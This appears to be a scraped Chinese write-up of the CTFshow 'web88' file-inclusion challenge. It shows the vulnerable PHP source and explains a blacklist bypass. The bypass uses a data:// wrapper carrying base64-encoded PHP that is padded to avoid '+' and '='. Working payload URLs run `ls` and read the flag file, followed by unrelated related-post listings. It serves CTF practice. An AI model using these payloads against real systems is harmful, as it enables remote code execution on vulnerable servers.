目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
}

思路

只过滤了php,我们可以用data伪协议,base64绕过,但是还有一个问题,+和=号是被过滤的,而<?php echols?>的base64加密有等号,我们可以在后面加入1来混淆


我们可以在后面加入1来混淆

?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx
成功绕过

可以尝试下怎么不出现 + 和 =

<?php echo `tac fl0g.php`;?>11


?file=data://text/plain;base64,PD9waHAgZWNobyBgdGFjIGZsMGcucGhwYDs/PjEx
拿到flag

题解

################################


总结

水题

CTFshow 文件包含 web88相关推荐

  1. ctfshow 文件包含Web78-79

    Ctfshow文件包含漏洞 2022/4/15 漏洞简介: 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件.如果文件中存在恶意代码,无论文件是什么类型 ...

  2. CTFshow 文件包含 web82

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  3. CTFshow 文件包含 web80

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  4. ctfshow 文件包含 web 78 -117

    目录 web 78 web 79 web 80 web 81 web 82-86(环境暂时做不了) web 87 web 88 web 116 web 117 web 78 data://text/p ...

  5. CTFshow 文件包含 web116

    目录 源码 思路 题解 总结 源码 下载视频用winhex分离出png 思路 可以正常读文件 题解 直接跑字典 总结 水题

  6. CTFshow 文件包含 web87

    目录 源码 思路 题解 题解一 题解二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11: ...

  7. CTFshow 文件包含 web81

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  8. CTFshow 文件包含 web117

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # ...

  9. CTFshow 文件包含 web79

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # ...

最新文章

  1. 计算两个日期之间的年数
  2. java类加载是什么意思_java 类加载机制有什么用
  3. django mysql开发_【python-Django开发】Django 配置MySQL数据库讲解!!!
  4. android api接口封装,生成App接口
  5. Percona5.6自身已支持杀死慢SQL
  6. 安卓牛客专项练习2020.12.31
  7. T-SQL 中ON和WHERE的区别
  8. Java 日期与时间
  9. Java8新特性总结 -7.新API和工具
  10. 解决ipad,ios录屏保存失败-5823
  11. for /r命令实现全盘搜索指定文件
  12. Google工程师多图详解Android系统架构
  13. xshell5和xftp5安装教程
  14. VSTest.Console.exe 的使用
  15. Vue_(基础)Vue中的事件
  16. 图虫:科技赋能图片版权领域创新发展
  17. 重新发现业务架构:银行数字化转型经验与方法分析
  18. 基于域对抗图卷积网络的多变环境下故障诊断
  19. 6.1 手机时钟系统简介
  20. OSChina 周三乱弹 —— 啪啪啪是敲键盘的声音

热门文章

  1. Owasp live CD 2011下载地址
  2. C#枚举硬件设备(升级版)
  3. Ubuntu编译安装VASP
  4. 高通camera驱动分析
  5. linux内核 DebugFS
  6. vue点击网页全屏_vue-cli点击实现全屏功能(两种方式)
  7. python中字符串编码转换
  8. Spring_Hibernate整合准备
  9. Spring源码学习笔记1
  10. 智慧医疗机器人的普及还需很长一段路要走!